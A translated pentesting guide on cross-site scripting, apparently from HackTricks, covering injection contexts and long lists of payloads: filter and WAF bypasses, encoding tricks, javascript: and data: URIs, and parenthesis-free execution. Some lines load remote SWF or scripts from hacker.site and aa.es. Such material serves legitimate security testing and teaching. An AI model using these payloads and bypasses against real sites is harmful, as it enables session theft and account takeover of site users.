.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
integer-overflow.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
Якщо вас цікавить кар'єра в хакерстві і ви хочете зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).
{% embed url="https://www.stmcyber.com/careers" %}
Методологія
- Перевірте, чи будь-яке значення, яке ви контролюєте (параметри, шлях, заголовки?, куки?) відображається в HTML або використовується кодом JS.
- Знайдіть контекст, де воно відображається/використовується.
- Якщо відображається
- Перевірте, які символи ви можете використовувати і в залежності від цього підготуйте payload:
- У сирому HTML:
- Чи можете ви створити нові HTML теги?
- Чи можете ви використовувати події або атрибути, що підтримують протокол
javascript:
? - Чи можете ви обійти захист?
- Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (AngularJS, VueJS, Mavo...), ви могли б зловживати Client Side Template Injection.
- Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати Dangling Markup - HTML scriptless injection?
- Всередині HTML тегу:
- Чи можете ви вийти в сирий HTML контекст?
- Чи можете ви створити нові події/атрибути для виконання JS коду?
- Чи підтримує атрибут, в якому ви застрягли, виконання JS?
- Чи можете ви обійти захист?
- Всередині JavaScript коду:
- Чи можете ви втекти з тегу
<script>
? - Чи можете ви втекти з рядка і виконати різний JS код?
- Чи ваші введення в шаблонних літералах ``?
- Чи можете ви обійти захист?
- Javascript функція, що виконується
- Ви можете вказати ім'я функції для виконання. наприклад:
?callback=alert(1)
- Якщо використовується:
- Ви могли б експлуатувати DOM XSS, зверніть увагу, як контролюється ваше введення і чи використовується ваше контрольоване введення будь-яким sink.
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Відображені значення
Щоб успішно експлуатувати XSS, перше, що вам потрібно знайти, це значення, контрольоване вами, яке відображається на веб-сторінці.
- Проміжно відображене: Якщо ви виявите, що значення параметра або навіть шлях відображається на веб-сторінці, ви могли б експлуатувати Reflected XSS.
- Збережене та відображене: Якщо ви виявите, що значення, контрольоване вами, зберігається на сервері і відображається щоразу, коли ви отримуєте доступ до сторінки, ви могли б експлуатувати Stored XSS.
- Доступне через JS: Якщо ви виявите, що значення, контрольоване вами, доступне за допомогою JS, ви могли б експлуатувати DOM XSS.
Контексти
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це де відображається ваше введення. В залежності від контексту, ви зможете виконувати довільний JS код різними способами.
Сирий HTML
Якщо ваше введення відображається на сирій HTML сторінці, вам потрібно буде зловживати деяким HTML тегом, щоб виконати JS код: <img , <iframe , <svg , <script
... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.
Також пам'ятайте про Client Side Template Injection.
Всередині атрибуту HTML тегу
Якщо ваше введення відображається всередині значення атрибуту тегу, ви могли б спробувати:
- Втекти з атрибуту та з тегу (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання:
"><img [...]
- Якщо ви можете втекти з атрибуту, але не з тегу (
>
закодовано або видалено), в залежності від тегу ви могли б створити подію, яка виконує JS код:" autofocus onfocus=alert(1) x="
- Якщо ви не можете втекти з атрибуту (
"
закодовано або видалено), тоді в залежності від якого атрибуту ваше значення відображається, якщо ви контролюєте все значення або лише частину, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку якonclick=
, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий приклад - атрибутhref
, де ви можете використовувати протоколjavascript:
, щоб виконати довільний код:href="javascript:alert(1)"
- Якщо ваше введення відображається всередині "незловживаних тегів", ви могли б спробувати трюк з
accesskey
, щоб зловживати вразливістю (вам знадобиться певний вид соціальної інженерії для експлуатації цього):" accesskey="x" onclick="alert(1)" x="
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Inside JavaScript code
В цьому випадку ваш ввід відображається між <script> [...] </script>
тегами HTML-сторінки, всередині .js
файлу або всередині атрибута, використовуючи javascript:
протокол:
- Якщо відображається між
<script> [...] </script>
тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести</script>
і втекти з цього контексту. Це працює, тому що браузер спочатку розбирає HTML теги і лише потім вміст, тому він не помітить, що ваш введений тег</script>
знаходиться всередині HTML коду. - Якщо відображається всередині JS рядка і останній трюк не працює, вам потрібно буде вийти з рядка, виконати ваш код і відновити JS код (якщо є помилка, він не буде виконаний):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Якщо відображається всередині шаблонних літералів, ви можете вбудувати JS вирази за допомогою синтаксису
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Unicode кодування працює для написання дійсного javascript коду:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting посилається на можливість оголошувати функції, змінні або класи після їх використання, щоб ви могли зловживати сценаріями, де XSS використовує неоголошені змінні або функції.
Перевірте наступну сторінку для отримання додаткової інформації:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript Function
Кілька веб-сторінок мають кінцеві точки, які приймають як параметр ім'я функції для виконання. Загальний приклад, який можна побачити в реальному житті, це щось на зразок: ?callback=callbackFunc
.
Добрий спосіб дізнатися, чи намагається виконати щось, що надано безпосередньо користувачем, це змінити значення параметра (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
У разі, якщо це вразливо, ви могли б викликати сповіщення, просто надіславши значення: ?callback=alert(1)
. Однак, дуже поширено, що ці кінцеві точки перевіряють вміст, щоб дозволити лише літери, цифри, крапки та підкреслення ([\w\._]
).
Однак, навіть з цим обмеженням, все ще можливо виконати деякі дії. Це пов'язано з тим, що ви можете використовувати ці допустимі символи, щоб отримати доступ до будь-якого елемента в DOM:
Деякі корисні функції для цього:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Ви також можете спробувати викликати функції Javascript безпосередньо: obj.sales.delOrders
.
Однак, зазвичай кінцеві точки, що виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, інші сторінки в тому ж походженні матимуть більш цікавий DOM для виконання більшої кількості дій.
Тому, щоб зловживати цією вразливістю в іншому DOM, була розроблена експлуатація Same Origin Method Execution (SOME):
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Є JS код, який недобросовісно використовує деякі дані, контрольовані зловмисником, такі як location.href
. Зловмисник може зловживати цим для виконання довільного JS коду.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Універсальний XSS
Ці види XSS можуть бути знайдені де завгодно. Вони залежать не лише від експлуатації клієнта веб-додатку, але й від будь-якого контексту. Ці види довільного виконання JavaScript можуть навіть бути використані для отримання RCE, читання довільних файлів на клієнтах і серверах, і більше.
Деякі приклади:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
Обхід WAF кодування зображення
Впровадження всередині сирого HTML
Коли ваш ввід відображається всередині HTML-сторінки або ви можете втекти і впровадити HTML-код у цьому контексті, перше, що вам потрібно зробити, це перевірити, чи можете ви зловживати <
, щоб створити нові теги: просто спробуйте відобразити цей символ і перевірте, чи він HTML-кодований або видалений, або чи він відображається без змін. Тільки в останньому випадку ви зможете експлуатувати цей випадок.
Для цих випадків також майте на увазі Client Side Template Injection.
Примітка: HTML-коментар може бути закритий за допомогою****** -->
або ****--!>
**
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати пейлоади, такі як:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде вибрати, які теги ви можете створити.
Коли ви знайдете, які теги дозволені, вам потрібно буде вибрати атрибути/події всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
Вибір тегів/подій
Перейдіть на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet і натисніть на Скопіювати теги в буфер обміну. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете вибрати всі події за допомогою дійсних тегів (на тій же веб-сторінці натисніть на Скопіювати події в буфер обміну і дотримуйтесь тієї ж процедури, що й раніше).
Користувацькі теги
Якщо ви не знайшли жодного дійсного HTML тегу, ви можете спробувати створити користувацький тег і виконати JS код з атрибутом onfocus
. У запиті XSS вам потрібно закінчити URL на #
, щоб змусити сторінку зосередитися на цьому об'єкті і виконати код:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою кількох дурних трюків:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Обхід довжини (маленькі XSS)
{% hint style="info" %} Більше маленьких XSS для різних середовищ payload можна знайти тут і тут. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr
Більше таких символів можна знайти тут.
Щоб перевірити, в які символи вони розкладаються, перевірте тут.
Click XSS - Clickjacking
Якщо для експлуатації вразливості вам потрібно, щоб користувач натиснув на посилання або форму з попередньо заповненими даними, ви можете спробувати зловживати Clickjacking (якщо сторінка вразлива).
Неможливо - Dangling Markup
Якщо ви просто вважаєте, що неможливо створити HTML-тег з атрибутом для виконання JS-коду, вам слід перевірити Dangling Markup, оскільки ви можете експлуатувати вразливість без виконання JS коду.
Впровадження всередині HTML-тегу
Всередині тегу/вихід з значення атрибута
Якщо ви всередині HTML-тегу, перше, що ви можете спробувати, це вийти з тегу та використати деякі з технік, згаданих у попередньому розділі, щоб виконати JS-код.
Якщо ви не можете вийти з тегу, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Стилі подій
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Всередині атрибута
Навіть якщо ви не можете вийти з атрибута ("
кодується або видаляється), в залежності від того, який атрибут відображає ваше значення якщо ви контролюєте все значення або лише частину ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як onclick=
, ви зможете змусити її виконати довільний код, коли на неї натиснуть.
Ще один цікавий приклад - атрибут href
, де ви можете використовувати протокол javascript:
для виконання довільного коду: href="javascript:alert(1)"
Обхід всередині події за допомогою HTML кодування/URL кодування
HTML закодовані символи всередині значення атрибутів HTML тегів декодуються під час виконання. Тому щось на зразок наступного буде дійсним (payload виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Повернутися назад </a>
Зверніть увагу, що будь-яке HTML кодування є дійсним:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Зверніть увагу, що URL кодування також буде працювати:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Обхід внутрішньої події за допомогою кодування Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Спеціальні протоколи в атрибуті
Тут ви можете використовувати протоколи javascript:
або data:
в деяких місцях для виконання довільного JS коду. Деякі з них вимагатимуть взаємодії з користувачем, а деякі - ні.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Місця, де ви можете впроваджувати ці протоколи
В загальному протокол javascript:
може бути використаний в будь-якому тегу, який приймає атрибут href
та в більшості тегів, які приймають атрибут src
(але не <img>
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Інші трюки обфускації
У цьому випадку трюк з HTML-кодуванням та кодуванням Unicode з попереднього розділу також дійсний, оскільки ви знаходитесь всередині атрибута.
<a href="javascript:var a=''-alert(1)-''">
Крім того, є ще один гарний трюк для цих випадків: Навіть якщо ваш ввід всередині javascript:...
кодується в URL, він буде декодований перед виконанням. Тож, якщо вам потрібно вийти з рядка, використовуючи одинарну лапку, і ви бачите, що він кодується в URL, пам'ятайте, що це не має значення, він буде інтерпретований як одинарна лапка під час виконання.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Зверніть увагу, що якщо ви спробуєте використати обидва URLencode + HTMLencode
в будь-якому порядку для кодування payload, це не спрацює, але ви можете змішувати їх всередині payload.
Використання Hex та Octal кодування з javascript:
Ви можете використовувати Hex та Octal кодування всередині атрибута src
iframe
(принаймні) для оголошення HTML тегів для виконання JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Зворотне таб-навигування
<a target="_blank" rel="opener"
Якщо ви можете вставити будь-який URL в довільний <a href=
тег, який містить атрибути target="_blank" і rel="opener"
, перевірте наступну сторінку для використання цієї поведінки:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
обхід обробників подій
По-перше, перевірте цю сторінку (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) для корисних "on" обробників подій.
У разі, якщо існує якийсь чорний список, який заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
З тут тепер можливо зловживати прихованими ввідними даними з:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
І в meta тегах:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
З тут: Ви можете виконати XSS payload всередині прихованого атрибута, якщо зможете переконати жертву натиснути комбінацію клавіш. У Firefox Windows/Linux комбінація клавіш - ALT+SHIFT+X, а на OS X - CTRL+ALT+X. Ви можете вказати іншу комбінацію клавіш, використовуючи іншу клавішу в атрибуті доступу. Ось вектор:
<input type="hidden" accesskey="X" onclick="alert(1)">
Payload XSS буде щось на зразок цього: " accesskey="x" onclick="alert(1)" x="
Обхід чорного списку
Кілька трюків з використанням різного кодування вже були розкриті в цьому розділі. Поверніться назад, щоб дізнатися, де ви можете використовувати:
- HTML кодування (HTML теги)
- Unicode кодування (може бути дійсним JS кодом):
\u0061lert(1)
- URL кодування
- Шістнадцяткове та вісімкове кодування
- кодування даних
Обходи для HTML тегів та атрибутів
Прочитайте Обходи чорного списку попереднього розділу.
Обходи для JavaScript коду
Прочитайте чорний список обходів JavaScript наступного розділу.
CSS-Гаджети
Якщо ви знайшли XSS у дуже маленькій частині вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати модифікувати простір, який займає цей елемент, щоб максимізувати ймовірність активації посилання.
Наприклад, ви могли б додати деяке стилювання в елемент, як: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад
.test {display:block; color: blue; width: 100%}
та
#someid {top: 0; font-family: Tahoma;}
Тепер ви можете модифікувати наше посилання і привести його до форми
<a href="" id=someid class=test onclick=alert() a="">
Цей трюк був взятий з https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Впровадження всередині JavaScript коду
У цих випадках ваш вхід буде відображено всередині JS коду файлу .js
або між тегами <script>...</script>
або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол javascript:
.
Вихід з <script> тегу
Якщо ваш код вставлений у <script> [...] var input = 'відображені дані' [...] </script>
, ви могли б легко вийти, закривши тег <script>
:
</script><img src=1 onerror=alert(document.domain)>
Зверніть увагу, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що парсинг HTML спочатку виконується браузером, що включає в себе ідентифікацію елементів сторінки, включаючи блоки скриптів. Парсинг JavaScript для розуміння та виконання вбудованих скриптів виконується лише пізніше.
Всередині коду JS
Якщо <>
очищуються, ви все ще можете втекти рядок, де ваше введення знаходиться і виконати довільний JS. Важливо виправити синтаксис JS, тому що якщо є якісь помилки, код JS не буде виконано:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Template literals ``
Щоб створити рядки окрім одинарних і подвійних лапок, JS також приймає зворотні лапки ``
. Це відомо як шаблонні літерали, оскільки вони дозволяють вбудовані JS вирази з використанням синтаксису ${ ... }
.
Отже, якщо ви виявите, що ваш ввід відображається всередині JS рядка, який використовує зворотні лапки, ви можете зловживати синтаксисом ${ ... }
, щоб виконати произвольний JS код:
Це можна зловживати за допомогою:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Закодоване виконання коду
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Encode JS execution
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Техніки обхід чорних списків JavaScript
Рядки
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Спеціальні ескейпи
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Заміни пробілів всередині JS коду
<TAB>
/**/
Коментарі JavaScript (з Коментарі JavaScript трик)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript нові рядки (з JavaScript новий рядок трик)
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Пробіли в JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript всередині коментаря
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript без дужок
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Виклик довільної функції (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
